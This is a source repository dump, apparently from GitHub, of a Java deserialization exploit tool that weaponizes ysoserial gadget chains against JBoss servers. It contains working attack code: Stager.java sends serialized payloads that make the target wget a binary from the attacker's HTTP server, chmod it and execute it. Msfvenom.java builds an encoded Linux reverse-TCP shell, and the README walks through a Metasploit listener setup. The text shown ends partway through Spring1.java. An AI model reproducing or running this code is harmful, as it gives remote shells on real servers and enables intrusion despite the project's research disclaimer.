├── .gitignore ├── DISCLAIMER.txt ├── LICENSE.txt ├── README.md ├── jbossexample.png ├── pom.xml └── src └── main └── java ├── jbossexploit ├── Cli.java ├── HttpFileServer.java ├── Main.java ├── Msfvenom.java └── Stager.java └── ysoserial ├── Deserialize.java ├── ExecBlockingSecurityManager.java ├── GeneratePayload.java └── payloads ├── CommonsCollections1.java ├── CommonsCollections2.java ├── Groovy1.java ├── ObjectPayload.java ├── Spring1.java ├── annotation └── Dependencies.java └── util ├── ClassFiles.java ├── Gadgets.java ├── PayloadRunner.java ├── Reflections.java └── Serializables.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.gitignore.io/api/intellij,java,maven 2 | 3 | ### Intellij ### 4 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio 5 | 6 | *.iml 7 | 8 | ## Directory-based project format: 9 | .idea/ 10 | # if you remove the above rule, at least ignore the following: 11 | 12 | # User-specific stuff: 13 | # .idea/workspace.xml 14 | # .idea/tasks.xml 15 | # .idea/dictionaries 16 | 17 | # Sensitive or high-churn files: 18 | # .idea/dataSources.ids 19 | # .idea/dataSources.xml 20 | # .idea/sqlDataSources.xml 21 | # .idea/dynamic.xml 22 | # .idea/uiDesigner.xml 23 | 24 | # Gradle: 25 | # .idea/gradle.xml 26 | # .idea/libraries 27 | 28 | # Mongo Explorer plugin: 29 | # .idea/mongoSettings.xml 30 | 31 | ## File-based project format: 32 | *.ipr 33 | *.iws 34 | 35 | ## Plugin-specific files: 36 | 37 | # IntelliJ 38 | /out/ 39 | 40 | # mpeltonen/sbt-idea plugin 41 | .idea_modules/ 42 | 43 | # JIRA plugin 44 | atlassian-ide-plugin.xml 45 | 46 | # Crashlytics plugin (for Android Studio and IntelliJ) 47 | com_crashlytics_export_strings.xml 48 | crashlytics.properties 49 | crashlytics-build.properties 50 | 51 | 52 | ### Java ### 53 | *.class 54 | 55 | # Mobile Tools for Java (J2ME) 56 | .mtj.tmp/ 57 | 58 | # Package Files # 59 | *.jar 60 | *.war 61 | *.ear 62 | 63 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 64 | hs_err_pid* 65 | 66 | 67 | ### Maven ### 68 | target/ 69 | pom.xml.tag 70 | pom.xml.releaseBackup 71 | pom.xml.versionsBackup 72 | pom.xml.next 73 | release.properties 74 | dependency-reduced-pom.xml 75 | buildNumber.properties 76 | .mvn/timing.properties -------------------------------------------------------------------------------- /DISCLAIMER.txt: -------------------------------------------------------------------------------- 1 | DISCLAIMER 2 | 3 | This software has been created purely for the purposes of academic research and 4 | for the development of effective defensive techniques, and is not intended to be 5 | used to attack systems except where explicitly authorized. Project maintainers 6 | are not responsible or liable for misuse of the software. Use responsibly. -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Nick Fox 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | Original 'ysoserial' Copyright (c) 2013 Chris Frohoff 24 | https://github.com/frohoff/ysoserial 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Java Deserialization Exploit 2 | 3 | A tool which weaponizes frohoff's original ysoserial code to gain a remote shell on vulnerable Linux machines. See blog 4 | post at https://trustfoundry.net/exploiting-java-deserialization-on-jboss/ for a detailed write-up and demonstration. 5 | 6 | ## Description 7 | 8 | This tool builds upon the proof-of-concept ysoserial by Chris Frohoff (https://github.com/frohoff/ysoserial) and exploits 9 | the Java Deserialization vulnerability, using Metasploit Framework tools to generate a malicious binary and an embedded 10 | web server to transfer the payload to the victim. A slightly modified version of ysoserial is used to download and 11 | execute the binary on the victim's side. 12 | 13 | __Note:__ This tool is still in early stages of development, and many features have not yet been implemented. Only the 14 | JBoss platform on the Linux architecture is currently exploitable. 15 | 16 | ## Disclaimer 17 | 18 | This software has been created purely for the purposes of academic research and 19 | for the development of effective defensive techniques, and is not intended to be 20 | used to attack systems except where explicitly authorized. Project maintainers 21 | are not responsible or liable for misuse of the software. Use responsibly. 22 | 23 | ## Usage 24 | 25 | ```shell 26 | $ java -jar JBossExploit.jar 27 | usage: java -jar JBossExploit.jar -lhost -lport -payload 28 | -rhost -rport -srvport -uripath 29 | 30 | -help Print this message 31 | -lhost IP Address of Attacking Machine 32 | -lport Port on which local handler is listening for a reverse TCP shell 33 | -payload Payload Type (Default: CommonsCollections1) 34 | -rhost Target Hostname or IP Address 35 | -rport Remote JBoss Port 36 | -srvport Port for local HTTP server 37 | -uripath Target resource URI (Default: /invoker/JMXInvokerServlet) 38 | ``` 39 | 40 | ## Examples 41 | 42 | ![](https://github.com/njfox/Java-Deserialization-Exploit/blob/master/jbossexample.png) 43 | 44 | ## Requirements 45 | 46 | * Metasploit Framework -- You must have a listener running in msfconsole before running this exploit. Example: 47 | 48 | ```shell 49 | $ msfconsole 50 | msf > use exploit/multi/handler 51 | msf exploit(handler) > set payload linux/x86/shell/reverse_tcp 52 | msf exploit(handler) > set LHOST 53 | msf exploit(handler) > set LPORT 54 | msf exploit(handler) > exploit 55 | ``` 56 | 57 | * msfvenom must be installed and available in your PATH. This command is used to generate the reverse shell payload. 58 | 59 | ## Installation 60 | 61 | As per GitHub's Community Guidelines, I have removed the executable JAR files from the releases page. You must now build the application from source using Maven. More information: https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed 62 | 63 | 1. Clone source code 64 | 2. From the repo root directory, run 'mvn clean compile assembly:single" 65 | 3. java -jar target/JBossExploit-0.5.2-alpha-jar-with-dependencies.jar 66 | 67 | ## Contributing 68 | 69 | 1. Fork the repo 70 | 2. Create new feature branch 71 | 3. Commit changes 72 | 4. Push to branch 73 | 5. Create Pull Request 74 | -------------------------------------------------------------------------------- /jbossexample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/njfox/Java-Deserialization-Exploit/813f867a7757782431d7e7d435b6e567ed4ad9f7/jbossexample.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | groupId 8 | JBossExploit 9 | 0.5.2-alpha 10 | 11 | 12 | 13 | org.apache.maven.plugins 14 | maven-compiler-plugin 15 | 2.0.2 16 | 17 | 1.7 18 | 1.7 19 | 20 | 21 | 22 | maven-assembly-plugin 23 | 24 | 25 | 26 | jbossexploit.Main 27 | 28 | 29 | 30 | jar-with-dependencies 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | commons-cli 39 | commons-cli 40 | 1.3.1 41 | 42 | 43 | org.apache.httpcomponents 44 | httpcore 45 | 4.4.4 46 | 47 | 48 | org.apache.httpcomponents 49 | httpclient 50 | 4.5.1 51 | 52 | 53 | org.reflections 54 | reflections 55 | 0.9.9 56 | 57 | 58 | org.apache.commons 59 | commons-collections4 60 | 4.0 61 | 62 | 63 | commons-collections 64 | commons-collections 65 | 3.1 66 | 67 | 68 | org.codehaus.groovy 69 | groovy-all 70 | 2.3.9 71 | 72 | 73 | org.springframework 74 | spring-core 75 | 4.1.4.RELEASE 76 | 77 | 78 | org.springframework 79 | spring-beans 80 | 4.1.4.RELEASE 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /src/main/java/jbossexploit/Cli.java: -------------------------------------------------------------------------------- 1 | package jbossexploit; 2 | 3 | import org.apache.commons.cli.*; 4 | 5 | public class Cli { 6 | 7 | public static org.apache.commons.cli.CommandLine parseArguments(String[] args) { 8 | // Set up CLI options 9 | 10 | Option help = new Option("help", "Print this message"); 11 | Option rhost = OptionBuilder.withArgName("host") 12 | .hasArg() 13 | .withDescription("Target Hostname or IP Address") 14 | .create("rhost"); 15 | 16 | Option rport = OptionBuilder.withArgName("port") 17 | .hasArg() 18 | .withDescription("Remote JBoss Port") 19 | .create("rport"); 20 | 21 | Option lhost = OptionBuilder.withArgName("host") 22 | .hasArg() 23 | .withDescription("IP Address of Attacking Machine") 24 | .create("lhost"); 25 | 26 | Option lport = OptionBuilder.withArgName("port") 27 | .hasArg() 28 | .withDescription("Port on which local handler is listening for a reverse TCP shell") 29 | .create("lport"); 30 | 31 | Option srvport = OptionBuilder.withArgName("port") 32 | .hasArg() 33 | .withDescription("Port for local HTTP server") 34 | .create("srvport"); 35 | 36 | Option uripath = OptionBuilder.withArgName("uri") 37 | .hasArg() 38 | .withDescription("Target resource URI (Default: /invoker/JMXInvokerServlet)") 39 | .isRequired(false) 40 | .create("uripath"); 41 | 42 | Option payloadname = OptionBuilder.withArgName("type") 43 | .hasArg() 44 | .withDescription("Payload Type (Default: CommonsCollections1)") 45 | .isRequired(false) 46 | .create("payload"); 47 | 48 | Options options = new Options(); 49 | 50 | options.addOption(help); 51 | options.addOption(rhost); 52 | options.addOption(rport); 53 | options.addOption(lhost); 54 | options.addOption(lport); 55 | options.addOption(srvport); 56 | options.addOption(uripath); 57 | options.addOption(payloadname); 58 | 59 | CommandLineParser parser = new DefaultParser(); 60 | org.apache.commons.cli.CommandLine cmd = null; 61 | try { 62 | cmd = parser.parse(options, args); 63 | } catch (Exception e) { 64 | System.out.println("Error parsing arguments."); 65 | System.exit(1); 66 | } 67 | 68 | if (cmd.hasOption("help") || args.length == 0) { 69 | HelpFormatter formatter = new HelpFormatter(); 70 | formatter.printHelp("java -jar JBossExploit.jar -lhost -lport -payload -rhost " + 71 | "-rport -srvport -uripath ", options); 72 | System.exit(0); 73 | } 74 | 75 | return cmd; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/jbossexploit/HttpFileServer.java: -------------------------------------------------------------------------------- 1 | package jbossexploit; 2 | 3 | import org.apache.http.*; 4 | import org.apache.http.config.SocketConfig; 5 | import org.apache.http.entity.ContentType; 6 | import org.apache.http.entity.FileEntity; 7 | import org.apache.http.impl.bootstrap.HttpServer; 8 | import org.apache.http.impl.bootstrap.ServerBootstrap; 9 | import org.apache.http.protocol.HttpContext; 10 | import org.apache.http.protocol.HttpCoreContext; 11 | import org.apache.http.protocol.HttpRequestHandler; 12 | 13 | import javax.net.ssl.SSLContext; 14 | import java.io.File; 15 | import java.io.IOException; 16 | import java.net.*; 17 | import java.nio.charset.Charset; 18 | import java.util.concurrent.TimeUnit; 19 | 20 | public class HttpFileServer { 21 | 22 | public static HttpServer server; 23 | 24 | public void main(int port) throws Exception { 25 | String docRoot = "/tmp"; 26 | 27 | SocketConfig socketConfig = SocketConfig.custom() 28 | .setSoTimeout(15000) 29 | .setTcpNoDelay(true) 30 | .build(); 31 | 32 | SSLContext sslcontext = null; 33 | 34 | server = ServerBootstrap.bootstrap() 35 | .setListenerPort(port) 36 | .setServerInfo("Test/1.1") 37 | .setSocketConfig(socketConfig) 38 | .setSslContext(sslcontext) 39 | .registerHandler("*", new HttpFileHandler(docRoot)) 40 | .create(); 41 | 42 | try { 43 | server.start(); 44 | server.awaitTermination(Long.MAX_VALUE, TimeUnit.DAYS); 45 | } catch (Exception e) { 46 | return; 47 | } 48 | Runtime.getRuntime().addShutdownHook(new Thread() { 49 | @Override 50 | public void run() { 51 | server.shutdown(5, TimeUnit.SECONDS); 52 | } 53 | }); 54 | } 55 | 56 | static class HttpFileHandler implements HttpRequestHandler { 57 | 58 | private final String docRoot; 59 | 60 | public HttpFileHandler(final String docRoot) { 61 | super(); 62 | this.docRoot = docRoot; 63 | } 64 | 65 | public void handle( 66 | final HttpRequest request, 67 | final HttpResponse response, 68 | final HttpContext context) throws HttpException, IOException { 69 | 70 | String target = request.getRequestLine().getUri(); 71 | final File file = new File(this.docRoot, URLDecoder.decode(target, "UTF-8")); 72 | HttpCoreContext coreContext = HttpCoreContext.adapt(context); 73 | HttpConnection conn = coreContext.getConnection(HttpConnection.class); 74 | response.setStatusCode(HttpStatus.SC_OK); 75 | FileEntity body = new FileEntity(file, ContentType.create("text/html", (Charset) null)); 76 | response.setEntity(body); 77 | System.out.println(conn + ": serving file " + file.getPath()); 78 | 79 | new Thread() { 80 | @Override 81 | public void run() { 82 | System.out.println("Stopping HTTP Server..."); 83 | server.stop(); 84 | } 85 | }.start(); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/jbossexploit/Main.java: -------------------------------------------------------------------------------- 1 | package jbossexploit; 2 | 3 | import org.apache.commons.cli.CommandLine; 4 | 5 | 6 | public class Main { 7 | 8 | public static void main(String[] args) { 9 | String binaryName = Msfvenom.generateBinaryName(); 10 | 11 | // Parse arguments 12 | CommandLine cmd = Cli.parseArguments(args); 13 | 14 | String rhost = cmd.getOptionValue("rhost"); 15 | int rport = Integer.parseInt(cmd.getOptionValue("rport")); 16 | String lhost = cmd.getOptionValue("lhost"); 17 | int lport = Integer.parseInt(cmd.getOptionValue("lport")); 18 | int srvport = Integer.parseInt(cmd.getOptionValue("srvport")); 19 | String uripath = cmd.getOptionValue("uripath"); 20 | // If URI isn't specified, set it to /invoker/JMXInvokerServlet 21 | if (uripath == null) { 22 | uripath = "/invoker/JMXInvokerServlet"; 23 | } 24 | // If payload isn't specified, set it to CommonsCollections1 25 | String payloadname = cmd.getOptionValue("payload"); 26 | if (payloadname == null) { 27 | payloadname = "CommonsCollections1"; 28 | } 29 | 30 | System.out.println("Generating reverse shell binary with msfvenom at /tmp/" + binaryName + "..."); 31 | Msfvenom.generateBinary(lhost, lport, binaryName); 32 | 33 | System.out.println("Starting HTTP Server..."); 34 | hostFile(srvport); 35 | 36 | System.out.println("Sending serialized commands..."); 37 | int stage; 38 | for (stage = 0; stage < 3; stage++) { 39 | System.out.println("Sending stage " + stage); 40 | Stager.sendPayload(stage, rhost, rport, lhost, srvport, binaryName, uripath, payloadname); 41 | } 42 | } 43 | 44 | 45 | 46 | public static void hostFile(int srvport) { 47 | final int port = srvport; 48 | final HttpFileServer server = new HttpFileServer(); 49 | 50 | new Thread() { 51 | @Override 52 | public void run() { 53 | try { 54 | server.main(port); 55 | } catch (Exception e) { 56 | System.out.println("Could not start HTTP Server."); 57 | System.exit(1); 58 | } 59 | } 60 | }.start(); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/jbossexploit/Msfvenom.java: -------------------------------------------------------------------------------- 1 | package jbossexploit; 2 | 3 | 4 | import java.util.Random; 5 | 6 | public class Msfvenom { 7 | 8 | public static String generateBinaryName() { 9 | Random rng = new Random(); 10 | char[] text = new char[8]; 11 | String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 12 | for (int i = 0; i < 8; i++) { 13 | text[i] = characters.charAt(rng.nextInt(characters.length())); 14 | } 15 | 16 | return new String(text); 17 | } 18 | 19 | public static boolean generateBinary(String lhost, int port, String name) { 20 | Process p; 21 | try { 22 | p = Runtime.getRuntime().exec("msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp " + 23 | "LHOST=" + lhost + " LPORT=" + port + " -b '\\x00' -e x86/shikata_ga_nai -f elf -o /tmp/" + name); 24 | p.waitFor(); 25 | System.out.println("Binary created!"); 26 | return true; 27 | } catch (Exception e) { 28 | System.out.println("Error creating binary."); 29 | return false; 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/jbossexploit/Stager.java: -------------------------------------------------------------------------------- 1 | package jbossexploit; 2 | 3 | import org.apache.http.HttpEntity; 4 | import org.apache.http.HttpResponse; 5 | import org.apache.http.client.methods.HttpEntityEnclosingRequestBase; 6 | import org.apache.http.entity.ByteArrayEntity; 7 | import org.apache.http.impl.client.DefaultHttpClient; 8 | 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.ObjectOutput; 11 | import java.io.ObjectOutputStream; 12 | import java.net.URI; 13 | 14 | public class Stager { 15 | 16 | public static void sendPayload(int stage, String rhost, int rport, String lhost, int srvport, String binaryName, 17 | String uripath, String payloadname) { 18 | 19 | ysoserial.GeneratePayload ysoserial = new ysoserial.GeneratePayload(); 20 | String command = null; 21 | 22 | // I was unable to chain commands ("&&") during testing, so we'll send 3 separate requests to download and execute 23 | // the malicious binary 24 | switch (stage) { 25 | case 0: 26 | command = "wget -O /tmp/" + binaryName + " http://" + lhost + ":" + srvport + "/" + binaryName; 27 | break; 28 | 29 | case 1: 30 | command = "chmod +x /tmp/" + binaryName; 31 | break; 32 | 33 | case 2: 34 | command = "/tmp/" + binaryName; 35 | break; 36 | } 37 | 38 | Object payload = ysoserial.generate(payloadname, command); 39 | 40 | 41 | String url = "http://" + rhost + ":" + rport + uripath; 42 | 43 | DefaultHttpClient httpClient = new DefaultHttpClient(); 44 | 45 | // http://stackoverflow.com/questions/2836646/java-serializable-object-to-byte-array 46 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 47 | ObjectOutput out = null; 48 | byte[] payloadBytes = null; 49 | try { 50 | out = new ObjectOutputStream(bos); 51 | out.writeObject(payload); 52 | payloadBytes = bos.toByteArray(); 53 | } catch (Exception e) { 54 | System.out.println("Error converting payload to byte array."); 55 | System.exit(1); 56 | } 57 | HttpEntity entity = new ByteArrayEntity(payloadBytes); 58 | HttpGetWithEntity e = new HttpGetWithEntity(); 59 | e.setEntity(entity); 60 | e.addHeader("Host", rhost + ":" + rport); 61 | URI uri = null; 62 | try { 63 | uri = new URI(url); 64 | } catch (Exception ex) { 65 | System.out.println("Error parsing URL."); 66 | System.exit(1); 67 | } 68 | e.setURI(uri); 69 | 70 | try { 71 | HttpResponse response = httpClient.execute(e); 72 | } catch (Exception ex1) { 73 | System.out.println("Error reading response."); 74 | System.exit(1); 75 | } 76 | } 77 | 78 | public static class HttpGetWithEntity extends HttpEntityEnclosingRequestBase { 79 | // Allows adding content to the body of a GET request, as required by ysoserial 80 | // http://stackoverflow.com/questions/12535016/apache-httpclient-get-with-body 81 | 82 | public final static String METHOD_NAME = "GET"; 83 | 84 | @Override 85 | public String getMethod() { 86 | return METHOD_NAME; 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/Deserialize.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | 8 | import ysoserial.payloads.util.Serializables; 9 | 10 | /* 11 | * for testing payloads across process boundaries 12 | */ 13 | public class Deserialize { 14 | public static void main(final String[] args) throws ClassNotFoundException, IOException { 15 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 16 | Serializables.deserialize(in); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/ExecBlockingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import java.security.Permission; 4 | import java.util.concurrent.Callable; 5 | 6 | public class ExecBlockingSecurityManager extends SecurityManager { 7 | @Override 8 | public void checkPermission(final Permission perm) { } 9 | 10 | @Override 11 | public void checkPermission(final Permission perm, final Object context) { } 12 | 13 | public void checkExec(final String cmd) { 14 | super.checkExec(cmd); 15 | // throw a special exception to ensure we can detect exec() in the test 16 | throw new ExecException(cmd); 17 | }; 18 | 19 | @SuppressWarnings("serial") 20 | public static class ExecException extends RuntimeException { 21 | private final String cmd; 22 | public ExecException(String cmd) { this.cmd = cmd; } 23 | public String getCmd() { return cmd; } 24 | } 25 | 26 | public static void wrap(final Runnable runnable) throws Exception { 27 | wrap(new Callable(){ 28 | public Void call() throws Exception { 29 | runnable.run(); 30 | return null; 31 | } 32 | }); 33 | } 34 | 35 | public static T wrap(final Callable callable) throws Exception { 36 | SecurityManager sm = System.getSecurityManager(); 37 | System.setSecurityManager(new ExecBlockingSecurityManager()); 38 | try { 39 | return callable.call(); 40 | } finally { 41 | System.setSecurityManager(sm); 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import ysoserial.payloads.ObjectPayload; 4 | 5 | import org.reflections.Reflections; 6 | 7 | import java.util.Collection; 8 | import java.util.Set; 9 | 10 | public class GeneratePayload { 11 | 12 | public Object generate(String type, String command) { 13 | final Class payloadClass = getPayloadClass(type); 14 | 15 | try { 16 | ObjectPayload payload = payloadClass.newInstance(); 17 | Object object = payload.getObject(command); 18 | return object; 19 | 20 | } catch (Throwable e) { 21 | System.err.println("Error while generating or serializing payload."); 22 | e.printStackTrace(); 23 | System.exit(1); 24 | return null; 25 | } 26 | 27 | } 28 | 29 | @SuppressWarnings("unchecked") 30 | private static Class getPayloadClass(final String className) { 31 | try { 32 | return (Class) Class.forName(className); 33 | } catch (Exception e1) { 34 | } 35 | try { 36 | return (Class) Class.forName(GeneratePayload.class.getPackage().getName() 37 | + ".payloads." + className); 38 | } catch (Exception e2) { 39 | } 40 | return null; 41 | } 42 | 43 | // get payload classes by classpath scanning 44 | private static Collection> getPayloadClasses() { 45 | final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); 46 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); 47 | return payloadTypes; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import ysoserial.payloads.annotation.Dependencies; 14 | import ysoserial.payloads.util.Gadgets; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | import ysoserial.payloads.util.Reflections; 17 | 18 | /* 19 | Gadget chain: 20 | ObjectInputStream.readObject() 21 | AnnotationInvocationHandler.readObject() 22 | Map(Proxy).entrySet() 23 | AnnotationInvocationHandler.invoke() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | ConstantTransformer.transform() 27 | InvokerTransformer.transform() 28 | Method.invoke() 29 | Class.getMethod() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Runtime.getRuntime() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.exec() 36 | 37 | Requires: 38 | commons-collections 39 | */ 40 | @SuppressWarnings({"rawtypes", "unchecked"}) 41 | @Dependencies({"commons-collections:commons-collections:3.1"}) 42 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 43 | 44 | public InvocationHandler getObject(final String command) throws Exception { 45 | final String[] execArgs = new String[] { command }; 46 | // inert chain for setup 47 | final Transformer transformerChain = new ChainedTransformer( 48 | new Transformer[]{ new ConstantTransformer(1) }); 49 | // real chain for after setup 50 | final Transformer[] transformers = new Transformer[] { 51 | new ConstantTransformer(Runtime.class), 52 | new InvokerTransformer("getMethod", new Class[] { 53 | String.class, Class[].class }, new Object[] { 54 | "getRuntime", new Class[0] }), 55 | new InvokerTransformer("invoke", new Class[] { 56 | Object.class, Object[].class }, new Object[] { 57 | null, new Object[0] }), 58 | new InvokerTransformer("exec", 59 | new Class[] { String.class }, execArgs), 60 | new ConstantTransformer(1) }; 61 | 62 | final Map innerMap = new HashMap(); 63 | 64 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 65 | 66 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 67 | 68 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 69 | 70 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 71 | 72 | return handler; 73 | } 74 | 75 | public static void main(final String[] args) throws Exception { 76 | PayloadRunner.run(CommonsCollections1.class, args); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 28 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 29 | public class CommonsCollections2 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); 33 | // mock method name until armed 34 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 35 | 36 | // create queue with numbers and basic comparator 37 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 38 | // stub data for replacement later 39 | queue.add(1); 40 | queue.add(1); 41 | 42 | // switch method called by comparator 43 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 44 | 45 | // switch contents of queue 46 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 47 | queueArray[0] = templates; 48 | queueArray[1] = 1; 49 | 50 | return queue; 51 | } 52 | 53 | public static void main(final String[] args) throws Exception { 54 | PayloadRunner.run(CommonsCollections2.class, args); 55 | } 56 | 57 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import org.codehaus.groovy.runtime.ConvertedClosure; 7 | import org.codehaus.groovy.runtime.MethodClosure; 8 | 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | 13 | /* 14 | Gadget chain: 15 | ObjectInputStream.readObject() 16 | PriorityQueue.readObject() 17 | Comparator.compare() (Proxy) 18 | ConvertedClosure.invoke() 19 | MethodClosure.call() 20 | ... 21 | Method.invoke() 22 | Runtime.exec() 23 | 24 | Requires: 25 | groovy 26 | */ 27 | 28 | @SuppressWarnings({ "rawtypes", "unchecked" }) 29 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 30 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 31 | 32 | public InvocationHandler getObject(final String command) throws Exception { 33 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); 34 | 35 | final Map map = Gadgets.createProxy(closure, Map.class); 36 | 37 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 38 | 39 | return handler; 40 | } 41 | 42 | public static void main(final String[] args) throws Exception { 43 | PayloadRunner.run(Groovy1.class, args); 44 | } 45 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | public interface ObjectPayload { 5 | /* 6 | * return armed payload object to be serialized that will execute specified 7 | * command on deserialization 8 | */ 9 | public T getObject(String command) throws Exception; 10 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | 11 | import org.springframework.beans.factory.ObjectFactory; 12 | 13 | import ysoserial.payloads.annotation.Dependencies; 14 | import ysoserial.payloads.util.Gadgets; 15 | import ysoserial.payloads.util.PayloadRunner; 16 | import ysoserial.payloads.util.Reflections; 17 | 18 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 19 | 20 | /* 21 | Gadget chain: 22 | 23 | ObjectInputStream.readObject() 24 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 25 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 26 | AnnotationInvocationHandler.invoke() 27 | HashMap.get() 28 | ReflectionUtils.findMethod() 29 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 30 | AnnotationInvocationHandler.invoke() 31 | HashMap.get() 32 | ReflectionUtils.invokeMethod() 33 | Method.invoke() 34 | Templates(Proxy).newTransformer() 35 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 36 | ObjectFactory(Proxy).getObject() 37 